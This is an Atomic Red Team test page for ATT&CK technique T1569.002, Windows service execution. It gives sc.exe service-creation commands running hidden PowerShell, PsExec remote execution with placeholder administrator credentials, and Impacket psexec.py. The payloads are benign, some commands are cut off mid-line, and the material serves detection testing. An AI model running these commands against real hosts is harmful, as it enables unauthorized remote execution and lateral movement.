T1569.002 - Service Execution

Description from ATT&CK

> Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (`services.exe`) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and [Net](https://attack.mitre.org/software/S0039).
> PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and `sc.exe` can accept remote servers as arguments and may be used to conduct remote execution.
>
> Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.

Atomic Tests

- Atomic Test #1 - Execute a Command as a Service
- Atomic Test #2 - Use PsExec to execute a command on a remote host
- Atomic Test #3 - psexec.py (Impacket)

Atomic Test #1 - Execute a Command as a Service

Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

Supported Platforms: Windows

auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1

Inputs:

Name	Description	Type	Default Value
service_name	Name of service to create	String	ARTService
executable_command	Command to execute as a service	String	%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}
```

Cleanup Commands:

```
del C:\art-marker.txt >nul 2>&1
```

Atomic Test #2 - Use PsExec to execute a command on a remote host

Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).

Supported Platforms: Windows

auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	String	localhost
user_name	Username	String	DOMAIN\Administrator
password	Password	String	P@ssw0rd1
psexec_exe	Path to PsExec	String	C:\PSTools\PsExec.exe

Attack Commands: Run with `command_prompt`!

```
#{psexec_exe} \\#{remote_host} -u #{user_name} -p #{password} -accepteula "C:\Wind
```

Dependencies: Run with `powershell`!

Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})

Check Prereq Commands:

```
if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$
Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_exe}" -Force
```

Atomic Test #3 - psexec.py (Impacket)

Will execute a command on the remote host with Impacket psexec.py script.

Supported Platforms: Linux

auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35

Inputs:

Name	Description	Type	Default Value
remote_host	Remote hostname or IP address	String	127.0.0.1
username	Username	String	Administrator
domain	Target domain	String	
password	Password	String	P@ssw0rd1
command	Command to execute in target computer	String	whoami

Attack Commands: Run with `bash`!

```
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
```

Dependencies: Run with `bash`!

Description: psexec.py (Impacket)

Check Prereq Commands:

```
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
sudo pip3 install impacket
```